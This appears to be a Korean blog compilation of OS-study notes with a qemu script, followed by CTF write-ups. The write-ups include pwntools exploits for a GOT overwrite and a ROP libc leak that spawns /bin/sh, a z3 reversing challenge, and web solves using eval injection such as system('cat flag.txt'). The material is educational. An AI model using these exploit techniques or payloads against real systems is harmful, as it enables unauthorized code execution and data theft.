#include <something.h>

  • 컴파일러가 설치되어 있는 폴더에서 헤더파일을 찾아라.

#include “something.h”

  • 개발자가 사용하고 있는 프로젝트 폴더나 개발자가 추가포함 디렉터리로 지정해준 경로에서 헤더파일을 찾아라.

Chap#10 삽질

run_qemu.sh

  • 이전에 i8086 architecture debugging을 위해 qemu를 i386으로 실행시킴
  • qemu를 i386으로 실행시키고 IA-32e Mode 지원이 왜 안되지 하면서 1시간 삽질….
O_DEBUG="no"

while getopts d opts; do
    case $opts in
    d) O_DEBUG="yes"
        ;;
    esac
done

if [ "${O_DEBUG}" = "yes" ]; then
    qemu-system-x86_64 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc -s -S
    #qemu-system-i386 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc -s -S 
fi
if [ "${O_DEBUG}" = "no" ]; then
    qemu-system-x86_64 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc
    #qemu-system-i386 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc
fi

run_qemu.sh 수정

O_DEBUG="no"
O_ARCH="x86_64"

while getopts da: opts; do
    case $opts in
    d) O_DEBUG="yes"
        ;;
    a) O_ARCH=$OPTARG
        ;;
    esac
done

if [ "${O_DEBUG}" = "yes" ]; then
    qemu-system-${O_ARCH} -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc -s -S
fi
if [ "${O_DEBUG}" = "no" ]; then
    qemu-system-${O_ARCH} -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc
fi

+... 코드는 거짓말 하지 않는다...

왜인지는 모르겠지만 NULLDESCRIPTOR에 db 0x00 한 줄이 더 추가되어 있었다... 디버깅 끝에 jmp 0x18: 0x10020 에서 이상한데로 뛰는 것을 보고 오류를 찾을 수 있었는데 이것도 참 오래걸렸따.... 오류 찾고 디버깅 하고 수정하려면 오래걸리니까 처음부터 코드를 집중해서 잘 보도록 하자...

2022.08.25

2022.08.25 부터 OS 공부를 시작했다. 참고 자료 및 사이트는 아래 Reference 참조

https://github.com/c0wb3ll/redcat/tree/main/mint64os

 

GitHub - c0wb3ll/mint64os

Contribute to c0wb3ll/mint64os development by creating an account on GitHub.

github.com

Reference

교재

http://www.yes24.com/Product/Goods/65061299

 

64비트 멀티코어 OS 원리와 구조 1권 - YES24

누구나 따라하면 운영체제를 만들 수 있다. 주류로 자리잡은 64비트 멀티코어 운영체제를 직접 만들어볼 수 있다. 하드웨어 동작 원리를 익힐 수 있으며, 각 장에는 완성된 소스 코드를 제공한다

www.yes24.com

사이트

https://github.com/kkamagui/mint64os

 

GitHub - kkamagui/mint64os: Project for making your own 64bit multicore operating system (MINT64 OS) from scratch

Project for making your own 64bit multicore operating system (MINT64 OS) from scratch - GitHub - kkamagui/mint64os: Project for making your own 64bit multicore operating system (MINT64 OS) from scr...

github.com

 

http://mint64os.pe.kr

 

Problem

#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val; 

  std::exit(0);
}

코드를 제공해주어서 편하게 분석할 수 있다.

해당 문제는 처음에 C++이어서 쫄았으나 코드 구성을 보고 buf에서 발생하는 OOB를 이용하여 exit.got를 overwrite하는 문제임은 금방 알 수 있었다.

문제를 푸는 당시에는 “IXCM”로마 숫자를 통해 buf 및 value를 입력받는 것은 알 수 있었으나, 해당 값으로는 최대 9999밖에 입력할 수 없어 그냥 포기하고 dreamhack으로 공부나 하러 튀었었다.

문제 풀이가 끝나고 writeup을 기다리고 있었으나 modern-rome 문제는 writeup을 찾을 수 없었고 디스코드방을 보다가 “IXCM\0”이라는 힌트를 보고 풀 수 있어서 writeup을 작성한다.

solve

  1. C++에 대해서는 잘 몰랐는데 iteration은 배열을 돌 때 “\x00”까지 돈다고 함 (이 부분은 아직 잘 모르겠음) 구조 상 “\x00”까지 돌게되면 99999까지 입력할 수 있음 ⇒ short overflow
  2. buf[idx]에서 idx를 검사하지 않음 ⇒ OOB
  3. exit.got overwrite

exploit code

from pwn import *

# p = process("./chall")
p = remote("pwn1.ctf.zer0pts.com", 9000)
e = ELF("./chall")

buf_addr = 0x404340
win_addr = 0x4012f6
exit_got = e.got["exit"]

print(f"buf_addr: {hex(buf_addr)}")
print(f"exit_got: {hex(exit_got)}")
print(f"win_addr: {hex(win_addr)}")

print(f"buf_addr - exit_got: {buf_addr - exit_got}")

# pause()

payload = b'\x00' * 6
payload += b'M' * 5
payload += b'C' * 1
payload += b'X' * 6
payload += b'I' * 4

p.sendlineafter(b"ind: ", payload)

payload = b'M' * 4
payload += b'C' * 8
payload += b'X' * 5
payload += b'I' * 4

p.sendlineafter(b"val: ", payload)

p.interactive()

problem

int __cdecl main(int argc, const char **argv, const char **envp):
{
  char ord(s[0]) // [rsp+20h] [rbp-10h]
  int v5 // [rsp+2Ch] [rbp-4h]

  v5 = 1
if ( argc == 2 ):
  {
    s = argv[1]
  if ( strlen(s): == 42 ):
    {
    if ( ord(s[7]) + ord(s[13]) + ord(s[8]) != 269 ):
        v5 = 0
    if ( ord(s[0]) - ord(s[1]) + ord(s[14]) + ord(s[0]) != 165 ):
        v5 = 0
    if ( ord(s[34]) + ord(s[16]) * ord(s[21]) + ord(s[38]) != 9482 ):
        v5 = 0
    if ( ord(s[41]) + ord(s[8]) * ord(s[6]) + ord(s[23]) != 5500 ):
        v5 = 0
    if ( -ord(s[41]) - ord(s[21]) != -223 ):
        v5 = 0
    if ( ord(s[11]) * ord(s[4]) * ord(s[18]) + ord(s[19]) != 639710 ):
        v5 = 0
    if ( ord(s[23]) + ord(s[33]) * ord(s[34]) != 6403 ):
        v5 = 0
    if ( ord(s[18]) * ord(s[14]) - ord(s[33]) != 5072 ):
        v5 = 0
    if ( ord(s[24]) - ord(s[39]) - ord(s[30]) - ord(s[22]) != -110 ):
        v5 = 0
    if ( ord(s[10]) + ord(s[30]) - ord(s[19]) + ord(s[1]) != 110 ):
        v5 = 0
    if ( ord(s[15]) - ord(s[20]) - ord(s[41]) != -169 ):
        v5 = 0
    if ( ord(s[15]) * ord(s[35]) - ord(s[41]) * ord(s[8]) != -10231 ):
        v5 = 0
    if ( ord(s[36]) + ord(s[31]) * ord(s[11]) - ord(s[32]) != 8428 ):
        v5 = 0
    if ( ord(s[29]) + ord(s[25]) + ord(s[40]) != 289 ):
        v5 = 0
    if ( ord(s[7]) - ord(s[12]) + ord(s[24]) != 100 ):
        v5 = 0
    if ( ord(s[21]) * ord(s[30]) - ord(s[6]) != 9262 ):
        v5 = 0
    if ( ord(s[38]) * ord(s[33]) * ord(s[3]) != 480244 ):
        v5 = 0
    if ( ord(s[20]) - ord(s[31]) * ord(s[0]) - ord(s[2]) != -5954 ):
        v5 = 0
    if ( ord(s[27]) + ord(s[12]) * ord(s[21]) != 5095 ):
        v5 = 0
    if ( ord(s[6]) + ord(s[11]) * ord(s[8]) - ord(s[8]) != 10938 ):
        v5 = 0
    if ( ord(s[34]) - ord(s[5]) + ord(s[7]) * ord(s[24]) != 5014 ):
        v5 = 0
    if ( ord(s[40]) - ord(s[18]) - ord(s[2]) != -83 ):
        v5 = 0
    if ( ord(s[11]) - ord(s[31]) + ord(s[9]) * ord(s[24]) != 10114 ):
        v5 = 0
    if ( ord(s[41]) != 125 ): ------ solved
        v5 = 0
    if ( ord(s[28]) + ord(s[30]) - ord(s[3]) * ord(s[16]) != -6543 ):
        v5 = 0
    if ( ord(s[18]) * ord(s[25]) - ord(s[11]) != 5828 ):
        v5 = 0
    if ( ord(s[8]) * ord(s[9]) * ord(s[11]) != 1089000 ):
        v5 = 0
    if ( ord(s[3]) * ord(s[25]) - ord(s[29]) * ord(s[6]) != 2286 ):
        v5 = 0
    if ( ord(s[36]) - ord(s[7]) * ord(s[33]) != -3642 ):
        v5 = 0
    if ( ord(s[32]) - ord(s[1]) + ord(s[20]) != 73 ):
        v5 = 0
    if ( ord(s[39]) + ord(s[5]) * ord(s[4]) != 8307 ):
        v5 = 0
    if ( ord(s[0]) * ord(s[39]) * ord(s[8]) != 515460 ):
        v5 = 0
    if ( ord(s[12]) - ord(s[13]) + ord(s[31]) != 25 ):
        v5 = 0
    if ( ord(s[18]) + ord(s[10]) + ord(s[41]) + ord(s[41]) != 351 ):
        v5 = 0
    if ( ord(s[7]) + ord(s[14]) * ord(s[1]) + ord(s[22]) != 7624 ):
        v5 = 0
    if ( ord(s[27]) + ord(s[24]) * ord(s[18]) + ord(s[14]) != 5500 ):
        v5 = 0
    if ( ord(s[20]) - ord(s[41]) * ord(s[6]) + ord(s[18]) != -5853 ):
        v5 = 0
    if ( ord(s[33]) - ord(s[2]) - ord(s[25]) * ord(s[31]) != -9585 ):
        v5 = 0
    if ( ord(s[18]) * ord(s[11]) * ord(s[37]) != 353600 ):
        v5 = 0
    if ( ord(s[17]) + ord(s[8]) + ord(s[7]) - ord(s[39]) != 192 ):
        v5 = 0
    if ( ord(s[11]) - ord(s[35]) - ord(s[9]) * ord(s[31]) != -8285 ):
        v5 = 0
    if ( ord(s[23]) - ord(s[29]) + ord(s[39]) != 40 ):
        v5 = 0
    if ( ord(s[28]) + ord(s[10]) * ord(s[25]) * ord(s[20]) != 530777 ):
        v5 = 0
    if ( ord(s[32]) * ord(s[29]) * ord(s[3]) != 463914 ):
        v5 = 0
    if ( ord(s[32]) - ord(s[22]) + ord(s[30]) != 98 ):
        v5 = 0
    if ( ord(s[0]) - ord(s[13]) + ord(s[40]) - ord(s[38]) != -74 ):
        v5 = 0
    if ( ord(s[17]) + ord(s[21]) - ord(s[38]) != 108 ):
        v5 = 0
    if ( ord(s[0]) - ord(s[41]) * ord(s[23]) != -11804 ):
        v5 = 0
    if ( ord(s[2]) * ord(s[29]) * ord(s[27]) != 997645 ):
        v5 = 0
    if ( ord(s[25]) - ord(s[19]) * ord(s[35]) != -7476 ):
        v5 = 0
    if ( ord(s[16]) - ord(s[19]) * ord(s[7]) != -5295 ):
        v5 = 0
    if ( ord(s[33]) + ord(s[12]) * ord(s[26]) + ord(s[22]) != 2728 ):
        v5 = 0
    if ( ord(s[41]) + ord(s[24]) + ord(s[32]) != 281 ):
        v5 = 0
    if ( ord(s[23]) * ord(s[31]) * ord(s[14]) != 790020 ):
        v5 = 0
    if ( ord(s[35]) - ord(s[35]) * ord(s[6]) - ord(s[14]) != -3342 ):
        v5 = 0
    if ( ord(s[31]) + ord(s[40]) - ord(s[17]) * ord(s[25]) != -11148 ):
        v5 = 0
    if ( ord(s[36]) * ord(s[18]) + ord(s[13]) * ord(s[19]) != 16364 ):
        v5 = 0
    if ( ord(s[40]) - ord(s[5]) + ord(s[2]) * ord(s[18]) != 4407 ):
        v5 = 0
    if ( ord(s[21]) - ord(s[25]) + ord(s[3]) != 55 ):
        v5 = 0
    if ( ord(s[14]) + ord(s[14]) + ord(s[13]) - ord(s[2]) != 223 ):
        v5 = 0
    if ( ord(s[36]) * ord(s[35]) - ord(s[5]) * ord(s[29]) != -2449 ):
        v5 = 0
    if ( ord(s[41]) - ord(s[39]) + ord(s[1]) != 135 ):
        v5 = 0
    if ( ord(s[35]) - ord(s[0]) * ord(s[35]) + ord(s[0]) != -4759 ):
        v5 = 0
    if ( ord(s[8]) - ord(s[10]) * ord(s[21]) - ord(s[31]) != -4776 ):
        v5 = 0
    if ( ord(s[29]) - ord(s[24]) + ord(s[28]) != 126 ):
        v5 = 0
    if ( ord(s[0]) * ord(s[10]) - ord(s[32]) - ord(s[8]) != 3315 ):
        v5 = 0
    if ( ord(s[28]) * ord(s[32]) + ord(s[41]) != 5903 ):
        v5 = 0
    if ( ord(s[37]) - ord(s[24]) + ord(s[32]) != 20 ):
        v5 = 0
    if ( ord(s[20]) * ord(s[10]) - ord(s[15]) + ord(s[31]) != 4688 ):
        v5 = 0
    if ( ord(s[36]) - ord(s[9]) - ord(s[18]) * ord(s[18]) != -2721 ):
        v5 = 0
    if ( ord(s[9]) * ord(s[7]) + ord(s[16]) * ord(s[30]) != 13876 ):
        v5 = 0
    if ( ord(s[18]) + ord(s[34]) + ord(s[24]) - ord(s[7]) != 188 ):
        v5 = 0
    if ( ord(s[16]) * ord(s[27]) + ord(s[20]) != 9310 ):
        v5 = 0
    if ( ord(s[22]) - ord(s[30]) - ord(s[37]) - ord(s[9]) != -211 ):
        v5 = 0
    if ( ord(s[4]) * ord(s[41]) * ord(s[27]) - ord(s[38]) != 1491286 ):
        v5 = 0
    if ( ord(s[35]) - ord(s[29]) * ord(s[8]) + ord(s[13]) != -13131 ):
        v5 = 0
    if ( ord(s[23]) - ord(s[7]) - ord(s[24]) - ord(s[22]) != -107 ):
        v5 = 0
    if ( ord(s[37]) * ord(s[4]) * ord(s[5]) != 560388 ):
        v5 = 0
    if ( ord(s[17]) * ord(s[32]) - ord(s[15]) != 5295 ):
        v5 = 0
    if ( ord(s[32]) + ord(s[23]) * ord(s[18]) - ord(s[5]) != 4927 ):
        v5 = 0
    if ( ord(s[3]) + ord(s[8]) * ord(s[39]) + ord(s[39]) != 7397 ):
        v5 = 0
    if ( ord(s[7]) * ord(s[25]) - ord(s[3]) + ord(s[36]) != 5597 ):
        v5 = 0
    if ( ord(s[9]) - ord(s[24]) - ord(s[33]) != -79 ):
        v5 = 0
    if ( ord(s[30]) + ord(s[14]) * ord(s[36]) != 8213 ):
        v5 = 0
    if ( v5 == 1 ):
        puts(":): CORRECT!"):
      else
        puts("( INCORRECT"):
      return 0
    }
    else
    {
      puts("( INCORRECT"):
      return -1
    }
  }
  else
  {
    puts("Usage: ./binary <key>"):
    return -1
  }
}

정말 더럽다;;

이런 문제들은 사람 손으로 직접 풀 수 있기도 하지만 z3 또는 angr와 같은 python api를 사용하면 좀 더 쉽게 해결할 수 있다.

문제 풀 당시에는 z3를 사용해본적도 없고 angr밖에 생각이 안나서 angr로 삽질하다가 안되서 때려치고 writeup을 보고 z3를 왜 까먹고 있었지 해서 내가 본 그대로의 사용법(틀린 정보일 수 있음)을 다음에 이 글을 보고 다시 사용하기 위해 정리한다.

z3 usage

z3 documentation

https://ericpony.github.io/z3py-tutorial/guide-examples.htm

example code

보통 ctf에서는 flag를 구하기 위해 사용하기 때문에 정수/상수를 구하는 BitVec을 사용한다. 따라서 BitVec부분 예제만 가져왔다. 전체적인 사용법을 보고 싶다면 위 documentation link를 타고 들어가 확인하면 된다.

x = BitVec('x', 8)

위 코드는 x라는 이름의 8비트 크기의 비트벡터를 생성한다. char형은 1byte이니 8비트로 생성해주면 된다. 그 외의 구해야 하는 값이 더 큰 값이라면 알아서 조정해주면 된다.

from z3 import *

x = Int('x')
y = Int('y')

s = Solver()
print(s)

s.add(x > 10, y == x + 2)
print(s)
print("Solving constraints in the solver s ...")
print(s.check())

print(s.model())

https://user-images.githubusercontent.com/48816875/157620968-9670b69e-4add-48a6-8164-378db13fb531.png

우선 먼저 Solver()를 선언해준다.

그 후 문제 해결에 필요한 식을 s.add(x + 1 == 2)과 같이 선언해주면 된다.

check()함수를 사용하면 해당 식의 풀이를 시작한다. 그 후 해가 만족스럽다면 sat(satisfiable), 만족스럽지 않다면 unsat(unsatisfiable)을 반환한다.

model()함수를 사용하면 z3 API에서 찾은 해를 출력한다.

그런데 여기서 해를 보면 알 수 있듯이 [x = 11, y = 13]이 출력되었다. 하지만 실제 x,y의 값은 [x = 12, y = 14]와 같이 여러가지가 있을 수 있다. 그렇기 때문에 정확한 해를 알고 싶다면 식은 많으면 많을 수록 좋을 것 같다고 생각한다.

solve code

우선 나는 angr만 삽질하느라 z3를 이용한 풀이로 제시간에 풀어내지 못했기 때문에 다른 사람의 writeup 링크를 첨부한다. 같이 확인해보면 좋을 것 같다.

reference

https://github.com/0xpurpler0se/CTF-Writeups/blob/main/FooBar CTF 2022/baby_rev.md

 

Warmup

problem

environ

  • Ubuntu:18.04

warmup.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void vuln() {
    char buf[0x30];
    memset(buf, 0, 0x30);
    write(1, "> ", 2);
    read(0, buf, 0xc0);
}

int main(void) {
    init();
    vuln();
    exit(0);
}

writeup

해당 Warmup 문제는 CTF 기간내에 풀지 못한 문제이다. 대회가 끝난 후 공개된 writeup을 봤는데 굉장히 다양한 방식의 풀이가 있어서 흥미로웠다. 여러가지 풀이 방법 중 내가 알게된 방법은 아래와 같다.

  1. main()함수로 돌아가 vuln()함수가 호출될 시 stack에 위치한 buf가 8bytes씩 밀리는 것을 이용한 leak(내가 이해한게 맞는지 잘 모르겠음;;)
    https://hackmd.io/@Gt4Bz9fIRAKhqIqhByvn-Q/r1p2Zjm1c
  2. stack에 존재하는 dl_start_user+50값을 이용한 leak
    https://github.com/datajerk/ctf-write-ups/blob/master/hayyimctf2022/warmup-cooldown/README.md
  3. stdin, stdout, stderr가 bss영역에 있는 것을 이용한 leak
    https://ctftime.org/writeup/32322

풀이과정은 여러개였지만 1,2 방법으로는 결국 풀지 못했기 때문에 3번 방식을 이용한 풀이를 하려고 한다.

(또한 환경 맞추어 줄 때 그냥 도커쓰자 그게 정신건강에 이롭다...)

https://user-images.githubusercontent.com/48816875/154907945-75f6993c-f1ac-4397-a14c-3ea17ab002fb.png

우선 main, vuln, init 등의 함수의 심볼이 모두 날라가 있는 것을 확인할 수 있었다.

https://user-images.githubusercontent.com/48816875/154908113-f47d781a-0830-466b-8490-649f5165d3cd.png

이런 경우 info file 명령어를 이용하여 .text 영역을 모두 살펴보는 방식을 이용해야한다.

https://user-images.githubusercontent.com/48816875/154908833-7e9c8347-5c70-4382-a473-7d1874437459.png

.text영역을 살펴보면 위 그림과 같이 파악할 수 있다.

   0x40053d:    push   rbx
   0x40053e:    xor    eax,eax
   0x400540:    mov    ecx,0xc
   0x400545:    lea    rsi,[rip+0x32]        # 0x40057e
   0x40054c:    mov    edx,0x2
   0x400551:    sub    rsp,0x30
   0x400555:    mov    rbx,rsp
   0x400558:    mov    rdi,rbx
   0x40055b:    rep stos DWORD PTR es:[rdi],eax
   0x40055d:    mov    edi,0x1
   0x400562:    call   0x4004a0 <write@plt>
   0x400567:    mov    rsi,rbx
   0x40056a:    mov    edx,0xc0
   0x40056f:    xor    edi,edi
   0x400571:    xor    eax,eax
   0x400573:    call   0x4004b0 <read@plt>
   0x400578:    add    rsp,0x30
   0x40057c:    pop    rbx
   0x40057d:    ret

그 중 vuln함수를 살펴보면 스택 정리 방식이 일반적이지 않음을 확인할 수 있다.

vuln함수에서 buf의 크기는 0x30인것에 반해 read함수를 이용한 입력은 0xc0만큼 받는다. 해당 취약점을 이용해 return address를 0x400567, 0x40055d로 줌으로써 write함수, read함수의 인자를 변경시켜 사용할 수 있다.

https://user-images.githubusercontent.com/48816875/154909840-1066850a-28d1-4adb-9e52-c61ef0ce8bd2.png

또한 .bss영역을 보면 stdout, stdin, stderr의 주소가 있는 것을 확인할 수 있다. 해당 .bss영역과 write함수를 이용해 libc base를 leak할 수 있다.

from pwn import *

e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d

# func
write_addr = 0x40055d
read_addr = 0x400567

#bss
bss_addr = 0x601000

p = process('./warmup')

# pause()

payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)

p.sendafter(b'> ', payload)
p.sendline(b'')

p.interactive()

위 익스코드의 동작과정을 설명하면

  1. pop rbx 를 이용해 rbx레지스터에 bss_addr값을 준다.
  2. read함수로 return address를 덮어씌워 read함수의 인자를 read(0, bss_addr, 0xc0)와 같이 만들어준다.
  3. 해당 인자를 그대로 write함수로 가져간다. ⇒ write(1, bss_addr, 0xc0)
  4. leak!

이렇게 써놓으면 이해하기 힘들거 같긴한데; vuln함수 디스어셈블구문과 함께 보면 이해할 수 있을거라 믿는다..

https://user-images.githubusercontent.com/48816875/154911113-c4d74306-500c-47c5-b310-86241ca2a8b6.png

해당 익스코드를 실행시키면 다음과 같이 bss_addr부분 즉 stdout, stdin, stderr 주소를 leak 할 수 있다.

여기서 stdout 주소는 p.sendline(b'')부분으로 인해 마지막 1byte가 0x0a로 덮였기 때문에 사용하지 않고 stdin주소를 사용하기로 한다.

위 과정을 통해 libc base 및 필요한 함수들의 주소들을 구해준 뒤 익스 해주면 된다.

from pwn import *

e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# libc_offset
stdin_offset = libc.symbols['_IO_2_1_stdin_']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))
ogg_offset = 0x4f432
pop_rdi_offset = 0x215bf
ret_offset = 0x8aa

# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d

# func
write_addr = 0x40055d
read_addr = 0x400567

#bss
bss_addr = 0x601000

p = process('./warmup')

# pause()

payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
payload += b'A' * 0x38
payload += p64(vuln_addr)

p.sendafter(b'> ', payload)
p.sendline(b'')

p.recvuntil(b'\x7f')                                                        # stdout
stdin_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))               # stdin
libc_base = stdin_addr - stdin_offset
ogg_addr = libc_base + ogg_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_addr = libc_base + pop_rdi_offset
ret_addr = libc_base + ret_offset

print(f"[*] libc_base: {hex(libc_base)}")
print(f"[*] stdin_addr: {hex(stdin_addr)}")
print(f"[*] ogg_addr: {hex(ogg_addr)}")
print(f"[*] system_addr: {hex(system_addr)}")
print(f"[*] binsh_addr: {hex(binsh_addr)}")
print(f"[*] pop_rdi_addr: {hex(pop_rdi_addr)}")
print(f"[*] ret_addr: {hex(ret_addr)}")

payload2 = b'A' * 0x38
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi_addr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendlineafter(b'> ', payload2)

p.interactive()

처음엔 one_gadget을 이용해 익스하려고 하였는데 인자 정리가 제대로 안된건지 뭔지 모르겠는데 execvpe+101 부분에서 SIGSEGV에러가 발생하여 system('/bin/sh)을 이용해 익스해주었다.

Solve

WEB

Sometime you need to look wayback (25pts)

https://user-images.githubusercontent.com/48816875/150953526-3bcb2146-18a0-41d9-a9f7-db2dc9efa3da.pnghttps://user-images.githubusercontent.com/48816875/150930948-0d672f1c-6a28-4b49-84ad-c328e1399995.png

들어가면 다음과 같은 웹페이지가 표시된다.

https://user-images.githubusercontent.com/48816875/150931039-d70ebc7c-780a-47b0-8c35-69d11f2bbe08.png

개발자 모드로 들어가면 다음과 같이 Test Bot Source Code: 깃허브링크가 나온다.

https://user-images.githubusercontent.com/48816875/150931765-06dd304c-cc8e-4241-81b5-79631f6ce5e6.png

commit 히스토리를 보면 다음과 같이 플래그가 있었다.

Do Something Special (50pts)

https://user-images.githubusercontent.com/48816875/150931916-eea8cf3e-7d60-4cce-9769-7699d0c06f5e.pnghttps://user-images.githubusercontent.com/48816875/150932007-7ebc1a47-75e4-4dfd-98ec-75c922bf20cc.png

접속하면 다음과 같은 화면이 나온다.

https://user-images.githubusercontent.com/48816875/150932083-f79d314a-cd9b-48fe-8ab5-5f202991fd6a.png

Get the flag! 버튼을 누르면 다음과 같이 에러 화면이 나오게 된다.

주소창을 자세히 보면 #이 들어가 있는 것을 확인할 수 있는데 #은 뒤에 오는 값을 fragment id로 취급하기 때문에 정상적인 문자열로 인식이 되지 않아 발생한 에러라는 것을 알 수 있다.

https://user-images.githubusercontent.com/48816875/150932745-e7b2e1dc-7342-4620-962f-f2b7da747868.png

따라서 다음과 같이 URL encoding을 거쳐 값을 보내어주면 플래그를 획득할 수 있다.

Obsfuscation Isn't Enough (50pts)

https://user-images.githubusercontent.com/48816875/150933490-df753578-f303-43a2-91d7-087c2834500b.pnghttps://user-images.githubusercontent.com/48816875/150933581-9d20322a-9714-4590-9c2e-9f9b5f387bd2.png

접속하면 다음과 같은 로그인 패널이 뜬다.

https://user-images.githubusercontent.com/48816875/150933682-ed807f3d-501b-45fd-a8d2-26f38b9f406e.png

소스 코드로 보면 누가봐도 jsfuck처럼 생긴 문자열들이 존재한다.

https://user-images.githubusercontent.com/48816875/150933777-bf4d3c34-267a-4cdb-a817-caa97ca7194d.png

디코딩하면 다음과 같이 읽을 수 있는 javascript 구문이 나오고 올바른 username.valuepassword.value 를 획득할 수 있다.

해당 값들을 가지고 로그인을 시도해봤으나 아무 반응이 없어 뒤에 document.location에 있는 randomvalue.php 에 직접 접속을 시도하여 플래그를 획득하였다.

https://user-images.githubusercontent.com/48816875/150934371-f75143c9-d65c-4058-a155-9d691f221dd1.png

Zero is not the limit (50pts)

https://user-images.githubusercontent.com/48816875/150934527-eab2ac16-9f8d-4ef9-b67c-c279bdf7d7ea.pnghttps://user-images.githubusercontent.com/48816875/150934621-7282e1ca-0b02-4af8-8829-d9f92f924ebc.png

접속시 다음 화면을 볼 수 있다.

문제를 풀 때 게싱이 많아서 많이 힘들었는데 해당 문제는 안그래도 문의가 많았는지 디코방에 /user경로를 잘 살펴보라는 힌트가 주어져 다음과 같이 접속했을 때 Jhon의 대한 정보를 획득할 수 있었다.

https://user-images.githubusercontent.com/48816875/150934883-2e1473bf-f736-4086-9d9d-bdc42d2ac161.png

문제이름이 Zero is not limit 였기 때문에 -1을 넣었더니 플래그가 나왔다.

https://user-images.githubusercontent.com/48816875/150934981-40ff376e-d541-4083-ab91-c7804a84aa14.png

Most Secure Calculator - 1 (50pts)

https://user-images.githubusercontent.com/48816875/150935112-1ca51553-186d-4966-bb6d-1d5fb5ea7d5a.pnghttps://user-images.githubusercontent.com/48816875/150935270-2d8dc3ad-54c9-460d-b5fd-751bf7a33f84.png

접속하면 다음과 같은 계산기 페이지가 나온다.

https://user-images.githubusercontent.com/48816875/150935327-afcdffc4-1626-435c-9ee2-244b495a1d81.png

문자열을 집어넣으면 다음과 같이 eval() 에러가 출력된다.

https://user-images.githubusercontent.com/48816875/150935423-c1b1ffcb-1273-4ac7-9402-320eebfef04a.png

따라서 system(”cat flag.txt”)를 넣으면 플래그를 읽을 수 있다.

Reverse Engineering

The Flag Vault (25pts)

https://user-images.githubusercontent.com/48816875/150935694-e5e0519d-ad5f-4038-b0c9-02a47b756ce6.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+6h] [rbp-6Ah] BYREF
  __int16 v5; // [rsp+8h] [rbp-68h] BYREF
  __int16 v6; // [rsp+Ah] [rbp-66h] BYREF
  __int16 v7; // [rsp+Ch] [rbp-64h] BYREF
  __int16 v8; // [rsp+Eh] [rbp-62h] BYREF
  __int16 v9; // [rsp+10h] [rbp-60h] BYREF
  __int16 v10; // [rsp+12h] [rbp-5Eh] BYREF
  __int16 v11; // [rsp+14h] [rbp-5Ch] BYREF
  __int16 v12; // [rsp+16h] [rbp-5Ah] BYREF
  __int16 v13; // [rsp+18h] [rbp-58h] BYREF
  __int16 v14; // [rsp+1Ah] [rbp-56h] BYREF
  __int16 v15; // [rsp+1Ch] [rbp-54h] BYREF
  __int16 v16; // [rsp+1Eh] [rbp-52h] BYREF
  __int16 v17; // [rsp+20h] [rbp-50h] BYREF
  __int16 v18; // [rsp+22h] [rbp-4Eh] BYREF
  __int16 v19; // [rsp+24h] [rbp-4Ch] BYREF
  __int16 v20; // [rsp+26h] [rbp-4Ah] BYREF
  __int16 v21; // [rsp+28h] [rbp-48h] BYREF
  __int16 v22; // [rsp+2Ah] [rbp-46h] BYREF
  __int16 v23; // [rsp+2Ch] [rbp-44h] BYREF
  __int16 v24; // [rsp+2Eh] [rbp-42h] BYREF
  char s2[32]; // [rsp+30h] [rbp-40h] BYREF
  char s1[24]; // [rsp+50h] [rbp-20h] BYREF
  unsigned __int64 v27; // [rsp+68h] [rbp-8h]

  v27 = __readfsqword(0x28u);
  v4 = 'K';
  v5 = '}';
  v6 = 'w';
  v7 = 'c';
  v8 = '0';
  v9 = 'T';
  v10 = 'F';
  v11 = 'C';
  v12 = '_';
  v13 = 'm';
  v14 = 't';
  v15 = 'r';
  v16 = 'v';
  v17 = 's';
  v18 = '{';
  v19 = 'n';
  v20 = '3';
  v21 = 'e';
  v22 = 'g';
  v23 = 'l';
  v24 = 'i';
  strcpy(s1, "abracadabrahahaha");
  printf("\nHi there!\n\nPlease enter the password to unlock the flag vault: ");
  __isoc99_scanf("%s", s2);
  if ( !strcmp(s1, s2) )
  {
    puts("\nCongratulations! Here is your flag:\n");
    printf(
      "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n\n",
      &v4,
      &v11,
      &v9,
      &v10,
      &v18,
      &v6,
      &v21,
      &v23,
      &v7,
      &v8,
      &v13,
      &v21,
      &v12,
      &v14,
      &v8,
      &v12,
      &v15,
      &v21,
      &v16,
      &v21,
      &v15,
